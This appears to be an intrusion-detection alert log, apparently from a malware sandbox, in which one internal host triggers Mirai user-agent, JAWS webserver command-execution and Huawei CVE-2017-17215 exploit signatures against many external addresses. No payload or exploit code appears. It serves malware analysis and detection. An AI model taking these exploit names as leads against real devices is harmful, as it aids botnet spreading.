2024-12-03T23:02:22.525108+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44896	155.90.17.170	80	TCP
2024-12-03T23:02:22.525108+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44896	155.90.17.170	80	TCP
2024-12-03T23:02:22.534520+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55482	83.106.224.18	80	TCP
2024-12-03T23:02:22.534520+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55482	83.106.224.18	80	TCP
2024-12-03T23:02:22.534655+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36026	122.22.64.41	80	TCP
2024-12-03T23:02:22.534655+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36026	122.22.64.41	80	TCP
2024-12-03T23:02:22.534738+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54516	110.32.215.184	80	TCP
2024-12-03T23:02:22.534738+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54516	110.32.215.184	80	TCP
2024-12-03T23:02:22.744418+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50054	217.215.79.61	80	TCP
2024-12-03T23:02:22.744418+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50054	217.215.79.61	80	TCP
2024-12-03T23:02:22.775318+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40634	2.117.9.235	80	TCP
2024-12-03T23:02:22.775318+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40634	2.117.9.235	80	TCP
2024-12-03T23:02:22.775554+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58554	133.146.239.25	80	TCP
2024-12-03T23:02:22.775554+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58554	133.146.239.25	80	TCP
2024-12-03T23:02:22.784562+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48358	128.79.224.162	80	TCP
2024-12-03T23:02:22.784562+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48358	128.79.224.162	80	TCP
2024-12-03T23:02:22.784696+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52108	147.230.188.100	80	TCP
2024-12-03T23:02:22.784696+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52108	147.230.188.100	80	TCP
2024-12-03T23:02:22.784784+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34968	197.237.200.90	37215	TCP
2024-12-03T23:02:22.800107+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	32836	208.73.48.66	80	TCP
2024-12-03T23:02:22.800107+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	32836	208.73.48.66	80	TCP
2024-12-03T23:02:22.822241+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38966	113.124.149.126	80	TCP
2024-12-03T23:02:22.822241+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38966	113.124.149.126	80	TCP
2024-12-03T23:02:22.822258+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50560	165.33.196.75	80	TCP
2024-12-03T23:02:22.822258+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50560	165.33.196.75	80	TCP
2024-12-03T23:02:22.831194+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34206	199.103.66.44	80	TCP
2024-12-03T23:02:22.831194+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34206	199.103.66.44	80	TCP
2024-12-03T23:02:22.831330+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45228	173.121.214.130	80	TCP
2024-12-03T23:02:22.831330+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45228	173.121.214.130	80	TCP
2024-12-03T23:02:22.831421+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56662	194.1.252.1	80	TCP
2024-12-03T23:02:22.831421+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56662	194.1.252.1	80	TCP
2024-12-03T23:02:22.865032+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42258	78.227.173.202	80	TCP
2024-12-03T23:02:22.865032+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42258	78.227.173.202	80	TCP
2024-12-03T23:02:22.884728+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57436	50.205.67.103	80	TCP
2024-12-03T23:02:22.884728+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57436	50.205.67.103	80	TCP
2024-12-03T23:02:22.900105+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34550	101.32.81.235	80	TCP
2024-12-03T23:02:22.900105+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34550	101.32.81.235	80	TCP
2024-12-03T23:02:22.947321+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51722	192.140.240.27	80	TCP
2024-12-03T23:02:22.947321+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51722	192.140.240.27	80	TCP
2024-12-03T23:02:22.956493+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38628	131.249.228.80	80	TCP
2024-12-03T23:02:22.956493+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38628	131.249.228.80	80	TCP
2024-12-03T23:02:22.971923+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35456	133.207.20.234	80	TCP
2024-12-03T23:02:22.971923+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35456	133.207.20.234	80	TCP
2024-12-03T23:02:22.972078+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59898	223.66.174.24	80	TCP
2024-12-03T23:02:22.972078+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59898	223.66.174.24	80	TCP
2024-12-03T23:02:23.556785+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57156	156.4.226.109	37215	TCP
2024-12-03T23:02:23.571968+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57126	41.34.110.98	37215	TCP
2024-12-03T23:02:23.572097+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42890	41.93.86.186	37215	TCP
2024-12-03T23:02:23.581298+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51574	197.77.114.80	37215	TCP
2024-12-03T23:02:23.581600+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59790	156.3.237.129	37215	TCP
2024-12-03T23:02:23.603189+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33380	41.29.70.158	37215	TCP
2024-12-03T23:02:23.603331+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50108	41.59.229.59	37215	TCP
2024-12-03T23:02:23.628541+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44028	156.36.174.242	37215	TCP
2024-12-03T23:02:23.659790+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52676	41.231.63.71	37215	TCP
2024-12-03T23:02:23.697212+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35124	80.159.50.231	80	TCP
2024-12-03T23:02:23.697212+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35124	80.159.50.231	80	TCP
2024-12-03T23:02:23.697447+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33260	200.230.245.168	80	TCP
2024-12-03T23:02:23.697447+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33260	200.230.245.168	80	TCP
2024-12-03T23:02:23.706395+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43854	131.130.228.105	80	TCP
2024-12-03T23:02:23.706395+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43854	131.130.228.105	80	TCP
2024-12-03T23:02:23.759890+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37090	125.167.185.1	80	TCP
2024-12-03T23:02:23.759890+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37090	125.167.185.1	80	TCP
2024-12-03T23:02:23.759894+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33554	208.46.118.213	80	TCP
2024-12-03T23:02:23.759894+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33554	208.46.118.213	80	TCP
2024-12-03T23:02:23.759904+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48102	210.246.226.218	80	TCP
2024-12-03T23:02:23.759904+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48102	210.246.226.218	80	TCP
2024-12-03T23:02:23.775456+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39734	148.179.123.65	80	TCP
2024-12-03T23:02:23.775456+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39734	148.179.123.65	80	TCP
2024-12-03T23:02:23.831514+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37570	71.223.65.69	80	TCP
2024-12-03T23:02:23.831514+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37570	71.223.65.69	80	TCP
2024-12-03T23:02:23.846928+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50878	97.197.44.174	80	TCP
2024-12-03T23:02:23.846928+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50878	97.197.44.174	80	TCP
2024-12-03T23:02:24.713570+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49990	197.249.234.114	37215	TCP
2024-12-03T23:02:24.754041+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56794	41.99.146.182	37215	TCP
2024-12-03T23:02:24.760291+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59106	197.50.113.39	37215	TCP
2024-12-03T23:02:24.769483+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33932	156.124.218.204	37215	TCP
2024-12-03T23:02:24.776343+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51068	46.102.189.213	80	TCP
2024-12-03T23:02:24.776343+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51068	46.102.189.213	80	TCP
2024-12-03T23:02:24.776354+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59326	68.241.111.73	80	TCP
2024-12-03T23:02:24.776354+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59326	68.241.111.73	80	TCP
2024-12-03T23:02:24.776359+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48788	41.191.132.34	37215	TCP
2024-12-03T23:02:24.785338+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52196	41.28.29.27	37215	TCP
2024-12-03T23:02:24.791765+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59034	91.25.207.212	80	TCP
2024-12-03T23:02:24.791765+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59034	91.25.207.212	80	TCP
2024-12-03T23:02:24.806577+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35834	62.81.97.71	80	TCP
2024-12-03T23:02:24.806577+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35834	62.81.97.71	80	TCP
2024-12-03T23:02:24.815854+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59008	210.235.160.60	80	TCP
2024-12-03T23:02:24.815854+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59008	210.235.160.60	80	TCP
2024-12-03T23:02:24.822167+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33366	168.40.98.66	80	TCP
2024-12-03T23:02:24.822167+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33366	168.40.98.66	80	TCP
2024-12-03T23:02:24.822262+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50504	183.72.35.241	80	TCP
2024-12-03T23:02:24.822262+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50504	183.72.35.241	80	TCP
2024-12-03T23:02:24.822333+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58652	9.244.198.24	80	TCP
2024-12-03T23:02:24.822333+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58652	9.244.198.24	80	TCP
2024-12-03T23:02:24.822439+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36486	207.6.103.73	80	TCP
2024-12-03T23:02:24.822439+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36486	207.6.103.73	80	TCP
2024-12-03T23:02:24.822535+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35888	186.91.189.154	80	TCP
2024-12-03T23:02:24.822535+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35888	186.91.189.154	80	TCP
2024-12-03T23:02:24.822715+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	32976	62.140.60.247	80	TCP
2024-12-03T23:02:24.822715+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	32976	62.140.60.247	80	TCP
2024-12-03T23:02:24.822846+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55418	194.136.29.129	80	TCP
2024-12-03T23:02:24.822846+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55418	194.136.29.129	80	TCP
2024-12-03T23:02:24.823026+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43092	103.233.244.33	80	TCP
2024-12-03T23:02:24.823026+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43092	103.233.244.33	80	TCP
2024-12-03T23:02:24.831249+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34780	115.232.232.112	80	TCP
2024-12-03T23:02:24.831249+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34780	115.232.232.112	80	TCP
2024-12-03T23:02:24.831424+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45800	67.200.144.191	80	TCP
2024-12-03T23:02:24.831424+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45800	67.200.144.191	80	TCP
2024-12-03T23:02:24.831601+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45034	110.127.114.232	80	TCP
2024-12-03T23:02:24.831601+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45034	110.127.114.232	80	TCP
2024-12-03T23:02:24.831727+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55562	49.174.199.230	80	TCP
2024-12-03T23:02:24.831727+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55562	49.174.199.230	80	TCP
2024-12-03T23:02:24.831858+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60216	77.229.189.177	80	TCP
2024-12-03T23:02:24.831858+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60216	77.229.189.177	80	TCP
2024-12-03T23:02:24.837592+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43906	154.12.222.99	80	TCP
2024-12-03T23:02:24.837592+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43906	154.12.222.99	80	TCP
2024-12-03T23:02:24.837680+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53834	41.68.184.21	37215	TCP
2024-12-03T23:02:24.837830+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43944	82.36.75.217	80	TCP
2024-12-03T23:02:24.837830+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43944	82.36.75.217	80	TCP
2024-12-03T23:02:24.847149+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36900	166.87.180.30	80	TCP
2024-12-03T23:02:24.847149+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36900	166.87.180.30	80	TCP
2024-12-03T23:02:24.880627+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47234	197.124.106.175	37215	TCP
2024-12-03T23:02:24.880650+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55200	41.67.6.6	37215	TCP
2024-12-03T23:02:24.885344+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52656	156.112.179.153	37215	TCP
2024-12-03T23:02:24.900523+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41052	156.13.14.220	37215	TCP
2024-12-03T23:02:24.909635+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48996	197.229.68.102	37215	TCP
2024-12-03T23:02:24.947292+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	32922	192.71.11.232	80	TCP
2024-12-03T23:02:24.947292+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	32922	192.71.11.232	80	TCP
2024-12-03T23:02:25.072397+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50940	197.116.245.92	37215	TCP
2024-12-03T23:02:25.103533+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39940	41.22.66.101	37215	TCP
2024-12-03T23:02:25.103541+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60632	41.216.151.177	37215	TCP
2024-12-03T23:02:25.128436+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59990	41.235.147.119	37215	TCP
2024-12-03T23:02:25.276090+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41108	57.128.103.183	80	TCP
2024-12-03T23:02:25.276090+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41108	57.128.103.183	80	TCP
2024-12-03T23:02:25.356075+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56260	187.32.72.153	80	TCP
2024-12-03T23:02:25.356075+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56260	187.32.72.153	80	TCP
2024-12-03T23:02:25.362893+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48844	41.146.239.215	37215	TCP
2024-12-03T23:02:25.378087+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51124	156.184.97.67	37215	TCP
2024-12-03T23:02:25.409650+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57582	197.253.75.14	37215	TCP
2024-12-03T23:02:25.869872+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50348	156.123.247.88	37215	TCP
2024-12-03T23:02:25.870049+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33736	156.172.76.226	37215	TCP
2024-12-03T23:02:25.900490+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43848	156.178.39.71	37215	TCP
2024-12-03T23:02:25.909514+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41294	156.49.222.91	37215	TCP
2024-12-03T23:02:25.909617+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53348	197.156.108.167	37215	TCP
2024-12-03T23:02:25.909815+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56998	41.138.109.137	37215	TCP
2024-12-03T23:02:25.931444+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53390	37.38.112.105	80	TCP
2024-12-03T23:02:25.931444+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53390	37.38.112.105	80	TCP
2024-12-03T23:02:25.931562+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42038	133.63.128.152	80	TCP
2024-12-03T23:02:25.931562+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42038	133.63.128.152	80	TCP
2024-12-03T23:02:25.931849+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49984	172.129.180.89	80	TCP
2024-12-03T23:02:25.931849+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49984	172.129.180.89	80	TCP
2024-12-03T23:02:25.931892+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39638	51.202.147.134	80	TCP
2024-12-03T23:02:25.931892+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39638	51.202.147.134	80	TCP
2024-12-03T23:02:25.931922+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53282	49.241.24.106	80	TCP
2024-12-03T23:02:25.931922+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53282	49.241.24.106	80	TCP
2024-12-03T23:02:25.947650+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46292	211.247.224.211	80	TCP
2024-12-03T23:02:25.947650+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46292	211.247.224.211	80	TCP
2024-12-03T23:02:25.947711+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	32950	203.233.83.227	80	TCP
2024-12-03T23:02:25.947711+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	32950	203.233.83.227	80	TCP
2024-12-03T23:02:25.947790+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51518	145.255.225.142	80	TCP
2024-12-03T23:02:25.947790+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51518	145.255.225.142	80	TCP
2024-12-03T23:02:25.947941+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43176	73.84.140.190	80	TCP
2024-12-03T23:02:25.947941+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43176	73.84.140.190	80	TCP
2024-12-03T23:02:25.947959+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57194	54.125.50.111	80	TCP
2024-12-03T23:02:25.947959+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57194	54.125.50.111	80	TCP
2024-12-03T23:02:25.956594+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36198	71.107.70.58	80	TCP
2024-12-03T23:02:25.956594+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36198	71.107.70.58	80	TCP
2024-12-03T23:02:25.956691+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54090	177.240.197.158	80	TCP
2024-12-03T23:02:25.956691+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54090	177.240.197.158	80	TCP
2024-12-03T23:02:25.956810+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44704	197.104.106.51	37215	TCP
2024-12-03T23:02:25.956907+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50942	137.150.89.232	80	TCP
2024-12-03T23:02:25.956907+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50942	137.150.89.232	80	TCP
2024-12-03T23:02:25.962678+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59728	157.144.82.44	80	TCP
2024-12-03T23:02:25.962678+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59728	157.144.82.44	80	TCP
2024-12-03T23:02:25.962765+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56432	126.89.116.149	80	TCP
2024-12-03T23:02:25.962765+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56432	126.89.116.149	80	TCP
2024-12-03T23:02:25.972035+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33620	89.128.150.92	80	TCP
2024-12-03T23:02:25.972035+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33620	89.128.150.92	80	TCP
2024-12-03T23:02:25.978415+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39054	62.206.122.112	80	TCP
2024-12-03T23:02:25.978415+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39054	62.206.122.112	80	TCP
2024-12-03T23:02:25.978544+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46572	77.166.16.193	80	TCP
2024-12-03T23:02:25.978544+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46572	77.166.16.193	80	TCP
2024-12-03T23:02:26.003421+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57444	62.205.39.109	80	TCP
2024-12-03T23:02:26.003421+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57444	62.205.39.109	80	TCP
